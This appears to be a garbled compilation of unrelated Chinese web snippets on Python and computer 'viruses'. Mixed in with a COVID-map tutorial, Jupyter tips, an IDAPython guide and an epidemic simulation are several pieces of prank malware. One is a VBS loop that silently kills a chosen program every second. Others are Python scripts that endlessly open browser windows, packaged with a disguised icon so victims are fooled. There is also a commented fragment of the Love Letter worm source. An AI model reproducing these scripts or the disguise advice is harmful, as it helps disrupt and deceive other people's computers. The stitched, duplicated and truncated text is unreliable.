用python写的简单病毒(无害)资料

带⼤家⽤40⾏python代码实现⼀个疫情地图最近两个⽉，因为新冠病毒⽆情的肆虐，相信会给每个中国⼈的记忆中画上重重的⼀笔。

到今天为⽌，疫情形势依然⼗分严峻，虽然除湖北外的其他省份已经连续⼗⼀天确诊⼈数下降，但是接下来还有将近⾄少1.6亿的⼈⼝迁徙，这⽆疑还存在⼀定的风险。

相信很多⼈和我⼀样，早上起床的第⼀件事情都是查看疫情数据，⼀般的数据都配有中国确诊⼈数的地图，之前看到csdn推过⼀篇⽂章，有同学⽤python实现疫情地图，我觉得挺有意思的，于是就尝试⾃⼰动⼿也写⼀个，主要⽤到如下的库：- ⽹络请求：requests- 绘制图表的库：pyecharts获取疫情数据在腾讯新闻和⽀付宝中，都能看到疫情数据，但是获取⽀付宝的数据难度相对⼤⼀些，所以决定从腾讯新闻的数据⼊⼿，⾸先在chrome中打开链接：通过查看图中所有的接⼝，是获取各个省份医院数量、根据省份名称查询每⽇新增确诊⼈数的数据，并没有我们需要的全国各个省份确诊⼈数的数据。

我们再切换到chrome开发者⼯具的console来看看开发是否有打印对应的数据，bingo！果然找到了⽐较有⽤的信息：我们看上图两个关键信息，⼀个是红框内的url，另⼀个是打印的全部数据，我们从其中找到了我们需要的全国各个省份的确诊总数量。

数据源确定了，接下来就是使⽤requests库请求数据，并且将上图areaTree下⾯的children中的数据取出来：上⾯的代码需要注意⼀点，就是requests.get(data_url).json()["data"]返回的是字符串，需要将其转成json，才能从中将值取出来。

现在数据有了，万事俱备，只⽋东风！接下来我们开始绘制中国地图。

python中进⾏图表绘制的库主要有两个：matplotlib 和 pyecharts， 相⽐较⽽⾔：matplotlib中提供了BaseMap可以⽤于地图的绘制，但是个⼈觉得其绘制的地图不太美观，另外⼀个重要的原因，其安装有点⿇烦，可能存在兼容性问题。

python之疫情监控（爬⾍+可视化）主要技术（Python+Flask+Echarts）项⽬准备简介基于Python+Flask+Echarts打造⼀个疫情监控系统，涉及技术有：Python爬⾍使⽤Python与Mysql数据库交互使⽤Flask构建Web项⽬基于Echarts数据可视化展⽰在linux上部署Web项⽬及爬⾍项⽬架构数据获取（爬⾍）>>数据持久化（MySQL）>>flask搭建Web后台>>数据可视化(h5+echarts)项⽬环境Python 3.+MySQLPyCharm(Python IDE)Jupyter notebook(Python IDE)Linux主机（后期项⽬部署）Jupyter NotebookJupyter Notebook（此前被称为IPython notebook）是⼀个基于⽹页的⽤于交互计算的应⽤程序，在数据可续额领域很受欢迎。

简⾔之，notebook是以⽹页的形式打开，可以在code类型单元格中直接编写代码和运⾏代码，代码的运⾏结果也会直接在代码块下显⽰。

如在编程过程中需要编写说明⽂档，可在md类型的单元格中直接编写，便于及时的说明和解释。

安装pip install notebook启动jupyter notebook修改⼯作⽬录jupyter notebook本⾝的⽬录看着难受的话可以⾃⼰修改⼯作⽬录1.先在⼀个喜欢的路径创建⼀个⽬录（我这⾥是C:\Users\18322\Desktop\note）2.cmd输⼊jupyter notebook --generate-config找到这个配置⽂件（jupyter_notebook_config.py）所在路径，打开它并编辑搜索找到notebook_dir将前⾯注释去掉，在后⾯配置⽬录路径## The directory to use for notebooks and kernels.c.NotebookApp.notebook_dir = r'C:\Users\18322\Desktop\note'3.保存退出，cmd>>jupyter notebook启动看效果OK了么（也可以在创建的../../note⽬录下新建⼀个.cmd为后缀的脚本，内容编辑为jupyter notebook，以后点击它就可以快捷启动了）基本操作1.新建⽂件与导⼊⽂件2.单元格分类：code、md3.命令模式（蓝⾊边框）与编辑模式（绿⾊模式）4.常⽤快捷键单元格类型转换：Y、M；插⼊单元格：A、B；进⼊命令模式：Esc代码补全：Tab运⾏单元格：ctrl/shift/alt+enter删除单元格：DDmd常⽤语法1.标题：使⽤16个#跟随⼀个空格表⽰16级标题2.⽆序列表：使⽤*，-或+后跟随⼀个空格来表⽰3.有序列表：使⽤数字+点表⽰4.换⾏：使⽤两个或以上的空⾏5.代码：三个反引号6.分割线：三个星号或三个减号7.链接：[⽂字](链接地址)8.图⽚：![图⽚说明](图⽚链接地址"图⽚说明信息")数据获取爬⾍概述爬⾍，就是给⽹站发起请求，并从响应中提取需要的数据⾃动化程序1. 发起请求，获取响应通过http库，对⽬标站点进⾏请求。

3分钟教你编写“病毒”，不懂编程的门外汉也能秒学会提到编程，可能很多新⼿或者从未接触过编程的⼈会觉得特别⾼深，需要复杂的编译器等等，⼩编就给⼤家推荐⼀种脚本语⾔，vbs脚本语⾔，不需要编译器，⽤电脑⾃带的记事本就能够编写，下⾯⼩编教⼤家如何编写⼀个⼩⼩的脚本“病毒”程序，实现的功能就是悄⽆声息的禁⽌电脑中某个程序的运⾏。

1.控制⾯板->⽂件资源管理器选项->查看->隐藏已知⽂件夹类型的扩展名，如果前⾯勾选了就取消勾选，没有勾选就不⽤管。

2.新建⼀个⽂本⽂档，重命名为后缀为vbs的⽂件，如果第⼀步没有完成也就⽆法修改⽂件名的后缀。

3.右键vbs⽂件编辑，现在可以开始正式编写代码了。

doset bag = getobject('winmgmts:\\.\root\cimv2')set i = bag.execquery('select * from win32_process where name ='KuGou.exe'')for each objprocess in iobjprocess.terminatenextwscript.sleep 1000loop代码很简单，do loop是重复执⾏的意思，中间的代码被不断的执⾏，sleep 1000的意思是休眠1000毫秒，也就是中间的代码1秒钟执⾏⼀次，第⼆⾏代码的意思是遍历所有进程，然后第三⾏代码设置KuGou.exe为进程对象，接着for next 遍历系统正在运⾏的进程，如果有KuGou.exe的进程就将它杀掉，每秒执⾏⼀次。

代码完成了，是不是很简单！（看不懂也没关系，复制粘贴就⾏）4.保存⽂件，运⾏⽂件，之后你会发现⾃⼰的酷狗⾳乐不管怎样都打不开，当然你也可以把代码⾥⾯的KuGou.exe换成其他的软件的进程名，实现的效果就是禁⽌该软件的运⾏，即使⽤杀毒软件杀毒也⽆法运⾏该软件。

Python网络安全漏洞利用与攻击技术近年来，随着互联网的快速发展以及网络安全的日益重要，Python语言在网络安全领域的应用越来越广泛。

Python具有易学易用、功能强大的特点，为网络攻击者提供了一种有效的工具。

在这篇文章中，将探讨Python网络安全漏洞利用与攻击技术的相关内容。

一、简介Python是一种高级编程语言，具有简洁明了的语法和强大的库支持，使得它成为网络安全领域开发的首选语言之一。

Python语言的开源特性，使得各种网络安全工具和框架得以快速发展和更新。

二、网络安全漏洞利用1. 恶意软件开发Python可以用于开发各种恶意软件，如病毒、木马、蠕虫等。

通过漏洞利用技术，攻击者可以在目标系统中植入恶意软件，并获取系统的控制权。

2. 网络钓鱼攻击网络钓鱼是一种通过伪装成合法机构或个人来窃取用户敏感信息的攻击手段。

Python提供了模拟网络请求的库，攻击者可以使用Python模拟合法网站，引导用户输入个人信息，从而实施网络钓鱼攻击。

3. 远程执行代码攻击远程执行代码攻击是指黑客通过利用目标系统的漏洞，将恶意代码远程执行从而获得系统权限。

Python的Shell编程能力使得攻击者可以通过远程执行Payload，轻松地控制目标系统。

三、网络安全攻击技术1. DDoS攻击DDoS（分布式拒绝服务）攻击是一种通过将大量虚假请求发送到目标服务器，使其资源耗尽而无法正常提供服务的攻击。

Python的高效网络编程能力使得攻击者可以编写脚本轻松实施DDoS攻击。

2. SQL注入攻击SQL注入攻击是一种通过在用户输入的数据中注入恶意SQL语句，从而绕过应用程序的安全验证，获取数据或对数据库进行非法操作的攻击手段。

Python的数据库操作库提供了灵活和便捷的SQL注入攻击工具。

3. 暴力破解暴力破解是一种通过使用大量可能的密码组合尝试登录目标账户，直到找到正确的密码为止的攻击手段。

Python的多线程和字典库使得攻击者可以轻易编写脚本进行暴力破解。

计算机病毒实验报告姓名：郭莎莎学号： 201306043023 培养类型：技术类年级： 2013级专业：信息安全所属学院：计算机学院指导教员：龙军职称：教授实验室：实验日期： 2016.7.3国防科学技术大学训练部制《本科实验报告》填写说明1．学员完成人才培养方案和课程标准要所要求的每个实验后，均须提交实验报告。

2．实验报告封面必须打印，报告内容可以手写或打印。

3．实验报告内容编排及打印应符合以下要求：（1）采用A4（21cm×29.7cm）白色复印纸，单面黑字打印。

上下左右各侧的页边距均为3cm；缺省文档网格：字号为小4号，中文为宋体，英文和阿拉伯数字为Times New Roman，每页30行，每行36字；页脚距边界为2.5cm，页码置于页脚、居中，采用小5号阿拉伯数字从1开始连续编排，封面不编页码。

（2）报告正文最多可设四级标题，字体均为黑体，第一级标题字号为3号，其余各级标题为4号；标题序号第一级用“一、”、“二、”……，第二级用“（一）”、“（二）” ……，第三级用“1.”、“2.”……，第四级用“（1）”、“（2）” ……，分别按序连续编排。

（3）正文插图、表格中的文字字号均为5号。

实验题目 Python病毒功能实现目录一、实验目的 (4)二、实验内容 (4)三、实验原理 (4)（一）Linux病毒 (4)1.Linux病毒的发展史 (4)2.Linux平台下的病毒分类 (5)（二）文件型病毒 (6)1.感染COM文件： (6)2．感染EXE文件： (6)（三）python文件 (7)四、实验所需软硬件 (8)五、实验步骤 (8)（一）程序框架 (8)1.传播感染模块 (8)2.备份模块 (9)3.触发和破坏模块 (9)（二）具体实现 (9)（三）结果截屏 (11)六、实验结果与分析 (12)七、思考与总结 (12)一、实验目的了解和掌握计算机病毒的工作原理，编写一个具有基本功能的计算机病毒。

Python3.7⿊帽编程之病毒篇（基础篇）引⼦Hacker（⿊客），往往被⼈们理解为只会⽤⾮法⼿段来破坏⽹络安全的计算机⾼⼿。

但是，⿊客其实不是这样的，真正的“⽹络破坏者”是和⿊客名称和读⾳相似的骇客。

骇客，是⽤⿊客⼿段进⾏⾮法操作并为⼰取得利益的⼈。

⿊客，是⽤⿊客⼿段为国家或单位做事的⼈。

那么，既然⿊客不是⼀个很坏的职业，我们就可以去试着学习。

⿊客本⾝的初衷——⿊客其实⼀直是善良的。

骇客其实他的前⾝就是⿊客。

骇客与⿊客分家，有这么⼀个故事：原本，只有⿊客⼀族。

⽽不久后，有些⿊客想⽤⿊客⼿段来获取利益，不断被其他的⿊客反对。

于是，那些⿊客悄悄私下成⽴了⼀个新的族群——骇客族。

骇客族产⽣后，⼀直处于保密状态，所以，没有⼈知道这个族。

直到有⼀天——骇客族出现了⼀次⼤骚动：不断的进⾏⽹络欺骗、流量攻击，盗取了很多⼈的账号，还修改了⼀些⼤型的搜索⽹站。

于是，从这天开始，⿊骇（⿊客和骇客）分家了。

⿊客的初衷本是⼀些测试程序漏洞的计算机⾼⼿，他们还帮国家和单位做事。

但是，⼈⼼总是贪婪，造成了骇客的诞⽣。

从此以后，防病毒产品诞⽣了。

基础篇什么是病毒病毒，指的是⼀些通过⾮法⼿段获取系统的⼀些权限，然后进⾏破坏或者盗取。

病毒分为两类：1、破坏型这类病毒往往会将系统弄的乱七⼋糟，⽐如把你的U盘删光，把你的系统背景调成⿊客图⽚，把你的桌⾯全部变成某个图标…这些病毒⼀般⽐较明显，所以，杀毒软件⼀般⽐较容易查杀，但是，下⾯这种就不⼀样了。

2、⾮破坏型⾮破坏型病毒不会把你的系统怎么样，也不会删除你的⽂件和修改你的个性化操作，他们只有⼀个⽬的：盗取⽂件或让它们的主⼈进⼊你的计算机。

例如最典型的灰鸽⼦，就是让⿊客进⾏连接，然后控制你的电脑。

冰河也是⼀样。

还有⼀种ftp⽊马，它们的⽬的就是打开21端⼝，等待⿊客连接。

安装编程环境：Python3.7 IDE在编写程序进⾏⿊客攻击和病毒编写之前，我们得先安装我们的编程环境：Python3.7 IDE从⽹络上下载：Python3.7 IDE接着，双击它，按照安装向导完成安装。

电脑病毒制作教程电脑病毒是一种恶意软件，它会破坏、删除或者篡改计算机中的数据和文件，给用户带来不必要的麻烦。

制作电脑病毒是一种非法行为，严重违反了用户隐私和计算机安全的原则。

本文将为您简要介绍电脑病毒的制作过程，希望读者能够了解它的危害并远离这种非法行为。

首先，制作电脑病毒需要有一定的计算机技术的基础。

病毒制作者通常需要了解计算机操作系统的工作原理，以及一些编程语言如C++或Python的知识。

同时，他们还需要对计算机网络和数据传输有一定的了解，以便实现病毒之间的传播。

其次，病毒制作者通常使用开发工具或者编程软件来编写病毒代码。

他们可能会利用操作系统的漏洞，即“0day漏洞”，来实现病毒的隐藏和渗透。

病毒制作者还可以使用一些技术手段，如文件加壳、代码混淆等，来防止杀毒软件的检测。

然后，病毒制作者需要选择病毒的传播方式。

常见的传播途径包括通过电子邮件、文件共享软件、移动存储设备等。

一旦用户点击了包含病毒的附件或者下载了被感染的文件，病毒就会开始在计算机上运行，并进行破坏或者恶意操作。

最后，病毒制作者可能还会加入一些特殊功能，如远程控制、密码窃取、拦截广告等。

这些功能可以让病毒更加隐蔽和具有攻击性，对用户的隐私和安全造成更大的威胁。

总而言之，制作电脑病毒是一种危险且非法的行为，不仅会给用户带来巨大的经济损失，还会对个人隐私和计算机安全造成严重威胁。

作为电脑用户，我们应该保持警惕，不轻易打开来路不明的附件，及时安装和更新杀毒软件，定期备份重要文件，避免成为病毒攻击的受害者。

同时，我们也要加强宣传教育，提高用户对电脑病毒的认知，形成社会共识，共同维护网络安全。

计算机病毒实验报告姓名：郭莎莎学号： 201306043023 培养类型：技术类年级： 2013级专业：信息安全所属学院：计算机学院指导教员：龙军职称：教授实验室：实验日期： 2016.7.3国防科学技术大学训练部制《本科实验报告》填写说明1．学员完成人才培养方案和课程标准要所要求的每个实验后，均须提交实验报告。

2．实验报告封面必须打印，报告内容可以手写或打印。

3．实验报告内容编排及打印应符合以下要求：（1）采用A4（21cm×29.7cm）白色复印纸，单面黑字打印。

上下左右各侧的页边距均为3cm；缺省文档网格：字号为小4号，中文为宋体，英文和阿拉伯数字为Times New Roman，每页30行，每行36字；页脚距边界为2.5cm，页码置于页脚、居中，采用小5号阿拉伯数字从1开始连续编排，封面不编页码。

（2）报告正文最多可设四级标题，字体均为黑体，第一级标题字号为3号，其余各级标题为4号；标题序号第一级用“一、”、“二、”……，第二级用“（一）”、“（二）” ……，第三级用“1.”、“2.”……，第四级用“（1）”、“（2）” ……，分别按序连续编排。

（3）正文插图、表格中的文字字号均为5号。

实验题目 Python病毒功能实现目录一、实验目的 (4)二、实验内容 (4)三、实验原理 (4)（一）Linux病毒 (4)1.Linux病毒的发展史 (4)2.Linux平台下的病毒分类 (5)（二）文件型病毒 (6)1.感染COM文件： (6)2．感染EXE文件： (6)（三）python文件 (7)四、实验所需软硬件 (8)五、实验步骤 (8)（一）程序框架 (8)1.传播感染模块 (8)2.备份模块 (9)3.触发和破坏模块 (9)（二）具体实现 (9)（三）结果截屏 (11)六、实验结果与分析 (12)七、思考与总结 (12)一、实验目的了解和掌握计算机病毒的工作原理，编写一个具有基本功能的计算机病毒。

Linux系统安全加固脚本使用Python编写的Linux系统安全加固脚本Linux系统是一种开放源代码的操作系统，广泛应用于服务器和个人计算机领域。

然而，随着网络攻击日益复杂和频繁，保护Linux系统的安全性变得尤为重要。

为此，许多安全专家和系统管理员利用Python编写了一些强大的脚本，用于加固Linux系统的安全性。

本文将介绍一款基于Python的Linux系统安全加固脚本的使用方法和相关知识。

一、什么是Linux系统安全加固脚本？Linux系统安全加固脚本是一种自动化工具，它基于Python语言，通过执行一系列指令和配置更改，来提高Linux系统的安全性。

这些脚本可以帮助系统管理员自动化完成一些常见的安全加固操作，减少手动配置的繁琐和出错的可能性。

二、为什么使用Python编写Linux系统安全加固脚本？Python是一种简单易学、功能强大的编程语言，已广泛应用于各个领域。

其语法简洁、代码可读性高，适合编写系统管理和安全相关的脚本。

此外，Python还具备良好的跨平台性，可以轻松运行在多种操作系统上，包括Linux。

三、Linux系统安全加固脚本的功能和特点1. 检查系统补丁和更新：脚本可以自动检查系统中的补丁和更新，并提供相应的操作选项，以确保系统始终运行在最新的稳定版本上。

2. 配置防火墙：脚本可以帮助管理员设置和配置Linux系统的防火墙规则，限制网络访问，并防止不明身份的用户入侵系统。

3. 检测恶意程序：脚本可以扫描系统中的文件和进程，检测潜在的恶意程序和病毒，并提供相应的清除和修复操作。

4. 增强用户访问控制：脚本可以加强对用户访问的控制，通过设置强密码策略、限制登录尝试次数等方式来提高系统的安全性。

5. 监控系统日志：脚本可以自动监控系统日志文件，及时报告异常事件和安全风险，以便管理员及时采取措施应对。

四、如何使用Linux系统安全加固脚本？使用Linux系统安全加固脚本非常简单，只需要按照以下步骤进行操作：1. 下载脚本文件：从可信的源或开源社区下载Linux系统安全加固脚本的源代码文件。

简单的病毒编程代码病毒编程是一项非常有趣的技术，它可以被用来创建恶意软件，也可以被用来保护计算机安全。

本文将使用简单的代码，演示如何创建一个病毒。

前置知识在开始之前，你需要掌握一些基本的编程知识，特别是 Python编程语言。

本文的代码将采用 Python，因为它是一种简单易学的语言，而且有很多函数和库可以帮助我们编写和执行病毒程序。

代码下面是一个简单的病毒编程代码：```pythonimport osimport randomdef infect(files):for file in files:try:with open(file, 'r') as f:content = f.read()except:continueif 'virus' in content:continuewith open(file, 'a') as f:f.write('\n\n# infected with virus\n')print('Infection completed')def spread(files):for file in files:if not os.path.isfile(file):continuewith open(file, 'r') as f:content = f.read()if 'virus' not in content:continuefor i in range(10):random_file = random.choice(files)if os.path.isfile(random_file):with open(random_file, 'a') as f:f.write('\n\n# spread from ' + file) breakprint('Spreading completed')def main():files = []for root, dirs, filenames in os.walk('.'):for filename in filenames:if filename.endswith('.py'):files.append(os.path.join(root, filename))infect(files)spread(files)if __name__ == '__main__':main()```此代码将随机选择10个Python文件，并向其中的每个文件添加一行注释，指示该文件已被感染。

为什么⿊客都⽤python（123个⿊客必备的Python⼯具）⽂章开始前⾸先让我们来了解⼀下什么是Python。

Python 是⼀个⾼层次的结合了解释性、编译性、互动性和⾯向对象的脚本语⾔。

重点是，Python 是⼀种对初学者⾮常友好的语⾔，从应⽤程序开发到⽂字处理、web甚⾄是游戏能提供⽀持，不少⼈也会将Python作为⿊客攻击语⾔。

为何Python会被选⽤为⿊客语⾔呢？1.⽀持功能强⼤的⿊客攻击模块。

如前所述，Python 的优点之⼀是拥有丰富多样的库。

Python 提供多种库，⽤于⽀持⿊客攻击，⽐如 pydbg、scapy、sqlmap、httplib 等。

⽬前，这些库被⼴泛应⽤于各种⿊客攻击。

2.能够访问各种 API。

Python 提供了 ctypes 库，借助它，⿊客可以访问 Windows、OS X、Linux、Solaris、FreeBSD、OpenBSD 等系统提供的 DLL 与共享库。

3.⼤量⿊客攻击⼯具提供 Python API。

最具代表性的⿊客攻击⼯具有 sqlmap、Nmap、Metasploit 等，它们都提供 Python 扩展接⼝。

⿊客使⽤ Python 可以将这些⼯具打造得更强⼤。

4.易学易⽤。

Python 语⾔易学易⽤，这对⿊客攻击⽽⾔是个巨⼤的优势。

⼀般来说，要成为⼀名⿊客，必须掌握 3~4 种编程语⾔。

Python 语⾔易学易⽤且拥有各种强⼤功能，这使它成为⿊客攻击语⾔的不⼆之选。

Python 语⾔的优点⽬前，Python 在各领域都有着⼴泛的应⽤。

由此可见，作为⼀种编程开发语⾔，Python 拥有众多优点，其语法简单易学且⽀持多种库，相同代码可以运⾏于多种平台。

■易学易⽤学习⼀种新编程语⾔时，往往会遇到各种各样的问题。

为了解决这些问题，Python 语⾔做了⼤量努⼒。

⽐如，Python 中不必声明变量类型，⽽在运⾏时动态确定。

此外，也不需要⽤户对内存进⾏管理，这些⼯作由解释器⾃动执⾏。

电脑病毒制作教程标题：电脑病毒制作教程导言：电脑病毒是一种恶意软件，它可以在未经授权的情况下感染计算机系统，并对系统功能、数据和文件进行破坏或窃取。

虽然我强调编写和传播电脑病毒是违法行为，但了解病毒制作的过程可能有助于我们加强对计算机安全的认识，并采取措施保护自己的电脑免受病毒攻击。

本文将介绍电脑病毒的基本原理及制作教程。

第一部分：电脑病毒的基本原理电脑病毒是一种恶意软件，其基本原理是通过程序代码将自身复制到计算机系统中的其他文件或存储介质中，并在一定条件下激活和传播。

病毒可以分为文件感染型病毒、引导型病毒、宏病毒、蠕虫病毒等多种类型。

文件感染型病毒是最常见的类型，它通过在宿主文件中插入自身的代码来感染其他文件。

当被感染的文件运行时，病毒会激活并继续感染其他文件。

引导型病毒是感染计算机启动扇区或引导记录的恶意代码，当计算机启动时，病毒会被加载到内存中，并继续感染其他系统文件。

宏病毒是利用应用软件的宏功能进行传播的恶意代码。

当用户打开包含宏病毒的文档时，病毒会自动运行并感染其他文档。

蠕虫病毒是通过网络传播的自我复制程序。

一旦感染了一个主机，蠕虫病毒会利用网络漏洞或弱密码等方式寻找其他易受感染的主机，并将自身复制到目标主机上。

第二部分：电脑病毒制作教程重申一次，编写和传播电脑病毒是非法的行为，并且严重侵犯他人的隐私和财产安全。

下面的内容仅用于教育目的，让读者了解电脑病毒制作的基本过程，从而加强对计算机安全的意识。

1. 选择编程语言：制作电脑病毒需要具备基本的编程知识。

常见的编程语言如C、C++、Python等都可以用于编写病毒代码。

2. 确定病毒功能：在编写病毒代码之前，需要明确病毒的具体功能。

例如，文件感染型病毒可以在感染时破坏文件、窃取个人信息等。

3. 编写病毒代码：根据病毒功能的要求，使用选定的编程语言编写病毒的代码。

代码可能包括文件读写操作、激活条件判断、传播方式等。

4. 测试和优化：编写完成后，需要对病毒代码进行测试和优化。

IDAPython脚本编写指南（⼀）⽬录IDAPython脚本编写指南（⼀）介绍IDA可以说是最好的静态反汇编⼯具，⽆论是在漏洞研究，软件逆向和病毒分析等领域，都是⾮常重要的⼯具，最近分析病毒感觉平常的使⽤并没有领悟到这款神器的精髓，在逆向时需要花费⼤量的时间，效率是⾮常重要的，如果能通过⼀些脚本将普通的分析过程实现⾃动化或者半⾃动化那就是节省了⽣命了，IDAPython就是⼀个⾮常好的脚本⼯具，⽽且由于Python语⾔的特性，只要是有⼀些编程基础的⼈那么学习成本也会⾮常的低。

因为在学习过程中感觉现在⽹上的资料很少，所以这⾥记录⾃⼰的学习过程并做⼀下分享。

⼯具版本IDA版本：IDA7.0Python版本：Python 2.7.16注意：⽬前IDAPython只⽀持Python [2.5.1, 2.6.1, 2.7],如果电脑上只有Python3版本的话会报错IDAPython源码地址⽬前IDAPython⽀持IDA6.6 - IDA7.4基础这⾥的演⽰全部以IDA7.0 x32为例，点击File选项在输⼊脚本命令的时候，简单的直接可以在命令框中输⼊，如果脚本功能⽐较多，直接Shift + F2基础函数Python>ea = idc.get_screen_ea() # 获取此时光标所在位置的地址Python>ea = here() # 同上Python>print "0x%x %s" % (ea,ea) # 打印地址Python>hex(idc.get_inf_attr(INF_MIN_EA)) # 输出节中起始地址地址Python>hex(idc.get_inf_attr(INF_MAX_EA)) # 输出节中结束地址Python>idc.get_segm_name(ea) # 获取所在的区段名称字符串.textPython>idc.generate_disasm_line(ea,0) # 获取光标所在⾏的反汇编指令Python>idc.print_insn_mnem(ea) # 获取助记符 addPython>idc.print_operand(ea,0) # 获取第⼀个操作数Python>idc.print_operand(ea,1) # 获取第⼆个操作数关于节的函数⾸先使⽤这样⼀段脚本代码来遍历⼀下分析的程序有多少区段for seg in idautils.Segments():print idc.get_segm_name(seg),idc.get_segm_start(seg),idc.get_segm_end(seg).text 4198400 4214784.idata 4214784 4215000.rdata 4215000 4218880.data 4218880 4231168idautils.Segments()这个函数返回的是⼀个可以迭代的对象，使⽤for循环来遍历它，idc.get_segm_name(seg)获取迭代对象所在段的名称字符串，idc.get_segm_start(seg)idc.get_segm_end(seg)从名字上就可以看出是获取区段开始和结束位置的地址。

慎用！用Python编写网页病毒
Hello everyone，今天给大家康康两种网页病毒。

这次代码真的只需要亿点点哦~~(拿去恶搞基友吧！)
第一种
我们先进入第一种，这个的威力没有你们想象的那么大，我们来看下方:
import webbrowser
import tkinter.messagebox
while 1:
webbrowser.open("")
tkinter.messagebox.showerror('Windows错误','Windows被不明程序劫持，正在尝试自救......')
解析:
#import webbrowser: 导入浏览器库
#import tkinter.messagebox: 导入信息框
运行后自动打开浏览器与错误提示框，之后每按一次错误框里的任意键都会开启一个新的IE浏览器界面，网站是百度（网站等等可以自己调），这是运行后的样子：
图片
没错电脑已经成这样了，但是用任务管理器可以关闭进程qwq。

（威力不大。

）
第二种（把公屏打在无敌上！！）
威力太大_不要轻易尝试！！_
import webbrowser
while True:
webbrowser.open("")
这个应该都能看懂，我在这就不做解析了，反正运行后电脑直接裂开来，电脑就直接卡成PPT。

观众们可以将他用pyinstaller打包:
pyinstaller -F -w -i 图标路径文件路径
这里用-i 可以通过图标路径更改图标，这样用户就更容易上当。

打包完可以压缩一下文件(rar/zip/…)。

' 如果认为本⽂章可能被坏⼈利⽤，请予以删除。

' 程序中的中⽂注释为本⼈所加，并针对病毒特点予以解释，同时，给出了预防病毒的⽅法。

' 我个⼈认为Love Letter写的并不是⼗分的棒，但是它使⽤的不少技术确实令⼈赞叹 ' 病毒作者也许没有受过专业的编程训练，但是从选择的程序资源来看，确实下了⼀番功夫。

' 本病毒源码也可以⽤来回答VB爱好者的很多问题。

rem barok -loveletter(vbe) rem by: spyder / ispyder@ / @GRAMMERSoft Group / Manila,Philip pines ' 注释：程序作者的签名（可能） On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") ' 注释：FileSystemObject是M$ VBVM系统中最危险的部分，它的功能⼗分强⼤ ' 从病毒使⽤FSO可以知道，通过修改注册表，可以轻易防⽌ Love Letter发作。

set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main() ' 注释 - 程序初始化完成。

sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scriptin g Host\Settings\Timeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" ' 注释 - 防⽌操作超时造成的程序终⽌。

Python入门教程网络安全网络安全防护Python入门教程 - 网络安全防护网络安全在当今数字化时代变得越来越重要。

随着互联网的快速发展，保护个人信息和数据的安全变得至关重要。

Python作为一种灵活且功能强大的编程语言，在网络安全领域也扮演着重要的角色。

本教程将带您入门Python，并介绍如何使用Python进行网络安全防护。

一、Python入门在开始介绍网络安全防护之前，我们先简要了解一下Python的基础知识。

Python是一种易于学习的高级编程语言，它具有简洁明了的语法和丰富的标准库。

Python的易读性使得它成为入门编程的理想选择。

1. 数据类型和变量Python中有多种数据类型，包括整数、浮点数、字符串、列表、元组和字典等。

变量可以用来存储和操作这些数据。

例如，以下代码展示了如何使用变量和打印函数输出“Hello, World！”：```pythonmessage = "Hello, World!"print(message)```2. 条件语句和循环条件语句和循环是编程中常用的控制结构。

Python提供了if语句和for循环等结构，使得代码执行变得有序和高效。

例如，以下代码演示了使用if语句判断某个数是否为正数：```pythonnum = 10if num > 0:print("The number is positive.")else:print("The number is not positive.")```3. 函数和模块函数是一段可重复使用的代码块，可以接受参数并返回值。

模块是包含函数、变量和其他代码的文件。

Python提供了许多内置函数和标准模块，同时也允许用户自定义函数和创建自己的模块。

以下是一个简单的函数示例：```pythondef greet(name):print("Hello, " + name + "!")greet("Alice")```二、网络安全防护网络安全防护是保护计算机和网络免受未经授权的访问、攻击和数据泄露的过程。

Python简单传染病模型数据分析期末⼤作业的时候做的，真实情况更为复杂和多变，还有很多不⾜的地⽅，暂且留档保存⼀下# -*- coding: utf-8 -*-"""@描述：本模型利⽤Python的动画功能，简单模拟了传染病的传播过程；为了防⽌疫情的快速传播，要求完善该模型，设置相应参数，使之能够具有实际意义，为控制疫情提供参考。

@要求1：添加隔离措施参数，限制⽣成的每个点的下⼀次随机位置不能超过某个范围（半径为x的圆内），超过系统边界[0,1]的数值置为边界值；@要求2：添加医院收治被感染者参数，在第x天可以收治n名病⼈，收治的病⼈⽤黄⾊点表⽰，收治后的病⼈不具有传染性；@要求3：添加被感染者的死亡参数，被感染者n天内没有被医院收治，则设置为死亡状态，⽤⿊⾊点表⽰；@要求4：实时统计出相应的数据并打印输出，如当前被感染⼈数、收治⼈数、死亡⼈数等信息，并对⽐采取措施前后对疫情发展的影响，⽤图表展⽰；@要求5：增加防疫措施指数，跟被感染者⼀定距离内的正常⼈会有感染风险但不⼀定感染@要求6: 增加病毒潜伏期以及患者没有得到有效治疗的最长存活期@要求7：医院⾥的患者治疗完毕后会出院，或者治疗失败导致死亡，出院后假定该病不会产⽣抗体之类的，仍有感染风险@要求8：增加疫情情况曲线图，显⽰各⽇的感染⼈数、收治⼈数、死亡⼈数@要求n：以上4个要求为模型必须提供的功能；另外，还可以根据实际情况⾃⾏设置参数，使模型更加完善，如数据点全部被感染后跳出循环；"""import mathimport numpy as npimport matplotlib.pyplot as pltimport matplotlib.animation as animation# 随机样本点总数SAMPLE_NUM = 500# # 感染天数，应为2的倍数，表⽰[x,y]坐标INFECTION_DAYS = 50# 感染最⼩距离INFECTION_DISTANCE = 0.015# ⽣成点最远半径Move_dis = 0.5# 随机⽣成样本点sample_data = np.random.rand(SAMPLE_NUM, INFECTION_DAYS * 2)# 医院收治⼈员标志,未收治标0Receive = np.zeros(SAMPLE_NUM)# 死亡⼈员标志,未死亡标0Dedper = np.zeros(SAMPLE_NUM)# 增加防疫措施指数(表⽰在满⾜感染距离下的感染百分⽐)EpLevel = 80# 医院每天的收治⼈数recen = 50# 被医院收治的死亡率depe = 0.05# 病毒潜伏期mgs = 7# 患病时间(距离感染后的时间，即便被收治后达到最长存活时间根据死亡率可能存活或死亡，未被收治就..)sufftime = np.zeros(SAMPLE_NUM)# 患病后最长存活时间ltime = 15# 患者被医院收治的时间hossuff = np.zeros(SAMPLE_NUM)# 获取该点颜⾊的映射值def gc(x):if Dedper[x] == 1:return 3 # 死亡elif Receive[x] == 1:return 2 # ⽬前在医院收治else:return sample_data[x, 0]# 添加隔离措施for i in range(SAMPLE_NUM):for j in range(INFECTION_DAYS):if j == 0:continue# 隔离下次⽣成的点由之前的点决定x1 = 